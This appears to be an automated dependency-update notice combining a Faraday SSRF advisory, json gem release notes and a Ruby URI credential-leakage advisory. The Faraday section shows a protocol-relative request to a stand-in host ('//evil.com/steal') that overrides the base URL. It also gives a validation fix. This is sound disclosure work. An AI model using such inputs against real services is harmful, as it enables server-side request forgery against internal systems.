Security Advisories 🚨

🚨 Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to
Faraday request methods. Specifically:

  • Reject or strip input that starts with // followed by a non-/ character
  • Use an allowlist of permitted path prefixes
  • Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

↗️ json (indirect, 2.13.2 → 2.18.1) · Repo · Changelog

Release Notes

2.18.1

What's Changed

  • Fix a potential crash in very specific circumstance if GC triggers during a call to to_json
    without first invoking a user defined #to_json method.

Full Changelog: v2.18.0...v2.18.1

2.18.0

What's Changed

  • Add :allow_control_characters parser options, to allow JSON strings containing unescaped ASCII control characters (e.g. newlines).

Full Changelog: v2.17.1...v2.18.0

2.17.1 (from changelog)

  • Fix a regression in parsing of unicode surogate pairs (\uXX\uXX) that could cause an invalid string to be returned.

2.17.0

What's Changed

  • Improve JSON.load and JSON.unsafe_load to allow passing options as second argument.
  • Fix the parser to no longer ignore invalid escapes in strings.
    Only \", \\, \b, \f, \n, \r, \t and \u are valid JSON escapes.
  • Fixed JSON::Coder to use the depth it was initialized with.
  • On TruffleRuby, fix the generator to not call to_json on the return value of as_json for Float::NAN.
  • Fixed handling of state.depth: when to_json changes state.depth but does not restore it, it is reset
    automatically to its initial value.
    In particular, when a NestingError is raised, depth is no longer equal to max_nesting after the call to
    generate, and is reset to its initial value. Similarly when to_json raises an exception.

Full Changelog: v2.16.0...v2.17.0

2.16.0

What's Changed

  • Deprecate JSON::State#[] and JSON::State#[]=. Consider using JSON::Coder instead.
  • JSON::Coder now also yields to the block when encountering strings with invalid encoding.
  • Fix GeneratorError messages to be UTF-8 encoded.
  • Fix memory leak when Exception is raised, or throw is used during JSON generation.
  • Optimized floating point number parsing by integrating the ryu algorithm (thanks to Josef Šimánek).
  • Optimized numbers parsing using SWAR (thanks to Scott Myron).
  • Optimized parsing of pretty printed documents using SWAR (thanks to Scott Myron).

Full Changelog: v2.15.2...v2.16.0

2.15.2

What's Changed

  • Fix JSON::Coder to have one dedicated depth counter per invocation.
    After encountering a circular reference in JSON::Coder#dump, any further #dump call would raise JSON::NestingError.

Full Changelog: v2.15.1...v2.15.2

2.15.1

What's Changed

  • Fix incorrect escaping in the JRuby extension when encoding shared strings.

Full Changelog: v2.15.0...v2.15.1

2.15.0

What's Changed

  • JSON::Coder callback now receive a second argument to convey whether the object is a hash key.
  • Tuned the floating point number generator to not use scientific notation as aggressively.

Full Changelog: v2.14.1...v2.15.0

2.14.1

What's Changed

  • Fix IndexOutOfBoundsException in the JRuby extension when encoding shared strings.

Full Changelog: v2.14.0...v2.14.1

2.14.0

What's Changed

  • Add new allow_duplicate_key generator options. By default a warning is now emitted when a duplicated key is encountered.
    In json 3.0 an error will be raised. 
    >> Warning[:deprecated] = true
>> puts JSON.generate({ foo: 1, "foo" => 2 })
(irb):2: warning: detected duplicate key "foo" in {foo: 1, "foo" => 2}.
This will raise an error in json 3.0 unless enabled via `allow_duplicate_key: true`
{"foo":1,"foo":2}
>> JSON.generate({ foo: 1, "foo" => 2 }, allow_duplicate_key: false)
detected duplicate key "foo" in {foo: 1, "foo" => 2} (JSON::GeneratorError)
  • Fix JSON.generate strict: true mode to also restrict hash keys.
  • Fix JSON::Coder to also invoke block for hash keys that aren't strings nor symbols.
  • Fix JSON.unsafe_load usage with proc
  • Fix the parser to more consistently reject invalid UTF-16 surogate pairs.

Security Advisories 🚨

🚨 URI Credential Leakage Bypass over CVE-2025-27221

Impact

In affected URI version, a bypass exists for the fix to CVE-2025-27221 that can expose user credentials.

When using the + operator to combine URIs, sensitive information like passwords from the original URI can be leaked, violating RFC3986 and making applications vulnerable to credential exposure.

The vulnerability affects the uri gem bundled with the following Ruby series:

  • 0.12.4 and earlier (bundled in Ruby 3.2 series)
  • 0.13.2 and earlier (bundled in Ruby 3.3 series)
  • 1.0.3 and earlier (bundled in Ruby 3.4 series)

Patches

Upgrade to 0.12.5, 0.13.3 or 1.0.4
